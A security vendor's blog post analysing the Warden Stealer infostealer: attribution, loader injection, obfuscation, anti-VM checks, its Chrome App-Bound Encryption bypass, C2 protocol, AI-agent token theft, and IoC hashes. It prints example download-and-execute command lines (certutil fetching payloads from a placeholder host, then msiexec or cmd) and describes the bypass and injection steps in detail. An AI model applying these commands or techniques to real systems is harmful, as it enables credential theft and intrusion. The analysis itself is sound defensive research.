Threat Researcher at Gen

Threat Research Team Lead

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Research

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.
</li>
<li>
Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.
</li>
<li>
Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.
</li>
<li>
Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.
</li>
<li>
In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.
</li>
</ul>
<h2>Introduction &amp; Attribution</h2>
Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).
According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.
Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

We have already covered this topic in our previous blog post, <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Infostealers Have Found a New Target: Your AI Agent</a>. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.
Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-warden-a978d5ae1147">interview with Warden Stealer’s authors</a> conducted by <a href="https://x.com/g0njxa">g0njxa</a>. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.
First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”
Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, <a href="https://www.virustotal.com/gui/file/241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437">241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437</a>) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.
Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.
Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.
As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.
Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.
Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

<h2>Landscape</h2>
Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a>, <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns">Amatera</a>, and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>).
Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.
Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.
<h2>Technical Analysis</h2>
In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.
<h3>Warden Loader</h3>
When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.
Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.
Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:
<ul>
<li>
Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.
</li>
<li>
Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.
</li>
<li>
Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.
</li>
</ul>
Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.
The stealer payload is embedded in the loader’s <code>.rdata</code> section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.
Examples of Base64-like alphabets observed across different Warden Stealer builds:
<ul>
<li>
<code>&lt;y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&amp;BK@6}*|1D,2&gt;7A</code>
</li>
<li>
<code>WJOTHk*aGS.#bdwLArzDM69yUR(NXZj&lt;8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&amp;q</code>
</li>
<li>
<code>Da7L(&gt;CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w&lt;.&amp;rdVP*gHzp_@Nh$1eYU'[~GK</code>
</li>
</ul>

The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.
Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.
Next, the loader selects the target process for injection. The latest builds do so by locating the <code>Shell_TrayWnd</code> window (the Windows taskbar) using <code>FindWindowA</code> and retrieving the PID of its owning process via <code>GetWindowThreadProcessId</code>. In a standard Windows session, this window typically belongs to <code>explorer.exe</code>, although the loader does not verify the process name. Older builds also targeted other processes, such as <code>msiexec.exe</code> or <code>dllhost.exe</code>.
After obtaining a handle to the target process, the loader allocates executable memory within it using <code>VirtualAllocEx</code> with the <code>PAGE_EXECUTE_READWRITE</code> protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via <code>WriteProcessMemory</code>. Subsequently, the loader invokes <code>CreateRemoteThread</code> to start execution at the appended bootstrap stub.
Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via <code>RtlGetCurrentPeb</code> and links two <code>LIST_ENTRY</code> nodes from the context block into <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code> and <code>PEB-&gt;Ldr-&gt;InMemoryOrderModuleList</code>, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by <a href="https://www.gendigital.com/blog/insights/research/goflateloader-delivers-multiple-infostealers">GoFlateLoader</a>), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.
The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.
<h3>Obfuscation</h3>
When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.
First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.
Second, Windows API functions are resolved dynamically by name (using a combination of <code>LoadLibraryA</code> and <code>GetProcAddress</code>) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">previous blog post</a>, where we covered it in greater detail.

Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

<h3>Anti-VM Checks</h3>
To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.
First, it retrieves the raw SMBIOS firmware table using <code>GetSystemFirmwareTable</code> and walks through its records, looking for at least one record of type 7 (<code>Cache Information</code>). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

Second, the stealer uses the <code>cpuid</code> instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf <code>0x40000000</code>). If the hypervisor additionally reports support for leaves beyond <code>0x400000FF</code>, a secondary hypervisor vendor ID is retrieved from leaf <code>0x40000100</code> as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (<code>KVM</code>, <code>PpyH</code>, <code>Apple VZ</code>, and <code>QXNQSBMV</code>).

Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:
<ul>
<li>
<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
</ul>
It then filters out entries marked as system components (with the <code>SystemComponent</code> <code>REG_DWORD</code> set to <code>1</code>) and entries whose <code>UninstallString</code> value cannot be retrieved. For the remaining ones, it collects the <code>DisplayName</code> values and checks whether any of these begins with the prefix <code>Virtio</code>, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.
Finally, the stealer enumerates display devices using <code>EnumDisplayDevicesW</code> and checks whether any of the adapter descriptions contains one of the substrings <code>Virtio</code>, <code>Standard VGA</code>, or <code>Basic Display</code>, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.
If the environment is considered virtualized, Warden Stealer displays a message box titled <code>DEBUG</code> with the Russian message: <code>Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?!</code> (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

<h3>Application-Bound Encryption Bypass</h3>
A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">Application-Bound Encryption (ABE)</a>. To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.
Since we have already covered the bypasses of <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a> and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>, as well as <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass">the inner workings of ABE</a>, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.
From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:
<ul>
<li>
Locate a candidate <code>v20_master_key</code> in its encrypted form within the browser’s memory
</li>
<li>
Execute injected shellcode inside the browser process to decrypt the key
</li>
<li>
Read the decrypted key back
</li>
</ul>
Before any decryption can take place, however, Warden Stealer first needs to locate the <code>v20_master_key</code> in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s <code>os_crypt_async::Encryptor::KeyRing</code>, a map that holds the keys used by the <code>Encryptor</code> class, including the encrypted <code>v20_master_key</code>. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a <code>KeyRing</code> entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence <code>v20\x00</code> – the null-terminated <code>v20</code> tag under which the <code>v20_master_key</code> is stored in the <code>KeyRing</code> map.
Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a <code>KeyRing</code> entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (<code>std::map</code>, <code>std::string</code>, <code>std::vector</code>, and <code>std::optional</code>). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a <code>KeyRing</code> entry.
Chromium <a href="https://github.com/chromium/chromium/blob/2e22ca200ff2c2c2606e345b0ec880339b6bfa73/components/os_crypt/async/common/encryptor.h#L121">defines</a> <code>KeyRing</code> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, so each of its entries is a <code>std::pair&lt;const std::string, std::optional&lt;Key&gt;&gt;</code> stored in a node of the red-black tree that implements the map. Within this pair, the <code>std::string</code> tag is followed by the <code>std::optional&lt;Key&gt;</code> value, whose <code>Key</code> object holds the encrypted <code>v20_master_key</code> in its <code>key_</code> member variable (a <code>std::vector&lt;uint8_t&gt;</code>).
Specifically, Warden Stealer inspects three consecutive <code>qwords</code> at offsets <code>+32</code>, <code>+40</code>, and <code>+48</code> from each <code>v20\x00</code> match, which, under libc++’s default pointer-based representation of <code>std::vector</code>, should correspond to the <code>begin</code>, <code>end</code>, and <code>capacity_end</code> pointers of the <code>key_</code> vector, as illustrated in Figure 21 (and previously dissected in greater detail in <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">our analysis of Vidar’s ABE bypass</a>). This leads us to conclude that the stealer leverages the <code>key_</code> vector as a verification mechanism: only if the data at these offsets plausibly resembles a <code>std::vector</code> structure does the stealer treat the match as a candidate <code>KeyRing</code> node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:
<ul>
<li>
The <code>begin</code> pointer must be 8-byte aligned and lie within the user-mode address range (<code>0x10000–0x7FFFFFFFFFFF</code>)
</li>
<li>
The <code>end</code> pointer must equal <code>begin + 32</code>, indicating a 32-byte buffer (i.e., the size of the <code>v20_master_key</code>)
</li>
<li>
The <code>capacity-end</code> pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between <code>end</code> and <code>begin + 64</code>, limiting the vector’s capacity to between 32 and 64 bytes
</li>
</ul>

However, libc++ also supports an <a href="https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx/+/97b436da4c33663581d394f4ee0a5977fc38c2f4/include/__vector/layout.h#82">alternative size-based layout</a> of <code>std::vector</code>, in which the <code>begin</code> pointer is followed by integer <code>size</code> and <code>capacity</code> fields instead of two additional pointers. Notably, Warden Stealer’s filtering logic appears to account for this variant as well: if the <code>begin</code> pointer passes the alignment check but the second <code>qword</code> does not equal <code>begin + 32</code>, the stealer falls back to checking whether the <code>qword</code> itself equals <code>32</code>. It then requires the third <code>qword</code> to have no bits set other than <code>0x20</code>, effectively accepting only <code>0</code> or <code>32</code>. A <code>begin</code> pointer followed by two values of <code>32</code> thus describes the same <code>key_</code> vector (a 32-byte buffer with a capacity of 32 bytes) but in its size-based representation. The complete filtering logic is shown in Figure 23.

The collected candidates (the <code>begin</code> pointers of the identified <code>key_</code> vectors, each presumably pointing to an encrypted <code>v20_master_key</code>) are then sorted, deduplicated, and tested one by one. For each candidate, Warden Stealer reads the 32 bytes it points to and stages them in the target browser process alongside a short shellcode stub. To run the stub, it hijacks one of the browser’s existing threads by suspending it, saving its original context, and redirecting its instruction pointer to the shellcode. Once resumed, the shellcode stub invokes <code>CryptUnprotectMemory</code> on the staged buffer with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag (similar to Remus, which likewise injects a small shellcode into the browser to perform exactly this call). Because the decryption happens in place, Warden Stealer simply polls the buffer and compares it against the original encrypted bytes. If the contents differ, it treats the result as a recovered <code>v20_master_key</code>.

<h3>C2 Communication</h3>
Each Warden Stealer build comes with its own hardcoded set of C2 domains embedded directly in the binary. An individual build typically contains between one to five domains, with any additional ones serving as fallback endpoints in case a server becomes unavailable.
These domains are protected by a dedicated obfuscation scheme, separate from the general-purpose string decoder, with each entry stored as a one-byte XOR key, a pointer to the encoded domain, and the encoded domain’s byte length. Notably, these three fields can appear in any order, likely as a result of the malware’s morphing.

The actual communication with the C2 server is handled over HTTPS and relies on a custom binary format. Before being sent, each record is serialized, XOR-obfuscated with a build-specific byte, and prefixed with a frame tag. The resulting frame is then compressed using LZNT1 and wrapped with a header containing its uncompressed length, a 16-byte build marker, and optional metadata.

Using this format, Warden Stealer first sends a registration request carrying a fingerprint of the infected system that includes the machine’s hardware identifier, CPU and memory details, OS version, display configuration, username, locales, and installed software. In response, the server returns the stealer’s dynamic configuration, which is XOR-obfuscated with the same build-specific byte as the outgoing records but, unlike them, is not LZNT1-compressed. If the exchange fails or the response contains no valid configuration, Warden Stealer falls back to the next C2 domain in the list. Once a valid configuration is obtained, Warden Stealer collects data according to the configured feature flags and collection rules and uploads the stolen data to the C2 server in batches.
An example of Warden Stealer’s dynamic configuration is available on our <a href="https://github.com/gendigitalinc/ioc/blob/master/WardenStealer/extras/warden_stealer_configuration.bin">GitHub</a>.
<h3>Execution of Additional Payloads</h3>
In addition to its stealing capabilities, Warden Stealer can download and execute additional payloads from URLs supplied in its dynamic configuration. For each URL, it constructs a destination path under <code>%TEMP%</code> and downloads the file there using the <code>certutil.exe -urlcache -split -f "&lt;URL&gt;" "&lt;destination&gt;"</code> command. The destination filename is derived from the <code>GetTickCount</code> value, formatted as eight zero-padded lowercase hexadecimal digits, followed directly by the URL’s zero-based position in the configuration list. The extension is selected by checking the URL text preceding any query string or fragment for <code>.msi</code>, <code>.bat</code>, or <code>.cmd</code>, with <code>.exe</code> used otherwise. Based on the selected extension, the payload is launched in one of the following ways:
<ul>
<li>
MSI: <code>msiexec.exe /i "&lt;destination&gt;" /qn /norestart</code>
</li>
<li>
BAT/CMD: <code>cmd.exe /c "&lt;destination&gt;"</code>
</li>
<li>
EXE (default): the downloaded file is executed directly
</li>
</ul>
To carry out both the download and the execution steps, Warden Stealer leverages the <code>Shell.Application</code> COM object (rather than calling <code>CreateProcess</code> directly). Through its <code>IShellDispatch2</code> interface, it invokes the <a href="https://learn.microsoft.com/en-us/windows/win32/shell/ishelldispatch2-shellexecute">ShellExecute</a> method to launch <code>cmd.exe</code> with a hidden window (<code>SW_HIDE</code>). The arguments passed to <code>cmd.exe</code> combine the <code>certutil</code> download command with the appropriate payload invocation, chained with <code>&amp;&amp;</code>, so the payload is launched only if the download succeeds (or more precisely, if <code>certutil</code> returns a successful exit code).
The following examples illustrate the resulting command lines, assuming <code>%TEMP%</code> is <code>C:\Users\user\AppData\Local\Temp</code>, <code>GetTickCount</code> returns <code>0x1337</code> for each item, and the URLs appear in the configuration in MSI, BAT, and EXE order:
<ul>
<li>
MSI: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.msi" "C:\Users\user\AppData\Local\Temp\000013370.msi" &amp;&amp; msiexec.exe /i "C:\Users\user\AppData\Local\Temp\000013370.msi" /qn /norestart</code>
</li>
<li>
BAT: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.bat" "C:\Users\user\AppData\Local\Temp\000013371.bat" &amp;&amp; cmd.exe /c "C:\Users\user\AppData\Local\Temp\000013371.bat"</code>
</li>
<li>
EXE: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.exe" "C:\Users\user\AppData\Local\Temp\000013372.exe" &amp;&amp; "C:\Users\user\AppData\Local\Temp\000013372.exe"</code>
</li>
</ul>
<h2>Summary</h2>
Warden Stealer has rapidly emerged as one of the most prevalent infostealers we protect our users from, ranking on par with Amatera, Remus and Vidar. Written in Rust, it combines broad data-stealing capabilities with a dedicated custom loader and a built-in cryptocurrency clipper. It is actively developed and has been promoted on underground forums since August 2026, although we have been tracking its first builds since early May 2026.
In this blog post, we showed how our investigation linked the malware we previously tracked as CallbackBeaver to Warden Stealer. This attribution draws on similarities between the analyzed samples and the authors’ public statements in underground forum posts and an interview, including details about the development timeline and loader and clipper capabilities.
We also described a variety of the stealer’s obfuscation techniques and anti-VM checks, as well as its approach to bypassing Application-Bound Encryption to steal sensitive information from Chromium-based browsers. Notably, Warden Stealer is one of the first stealers actively targeting locally installed AI agents to exfiltrate access and refresh tokens, prompt histories, credentials stored in MCP configurations, and other sensitive developer-related information, highlighting the shift we have recently observed in the infostealer landscape.
<h2>Indicators of Compromise (IoCs)</h2>
A complete, much more extensive, IoC list is available on our <a href="https://github.com/gendigitalinc/ioc/tree/master/WardenStealer">GitHub</a>.
<h3>Warden Loader SHA-256 (Non-exhaustive)</h3>
006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c
0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a
63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef
77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e
77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36
b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4
dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e
ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439
ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1
<h3>Warden Stealer SHA-256 (Non-exhaustive)</h3>
04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5
159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972
3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842
51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d
5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351
6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e
a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1
cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4
e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3
fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

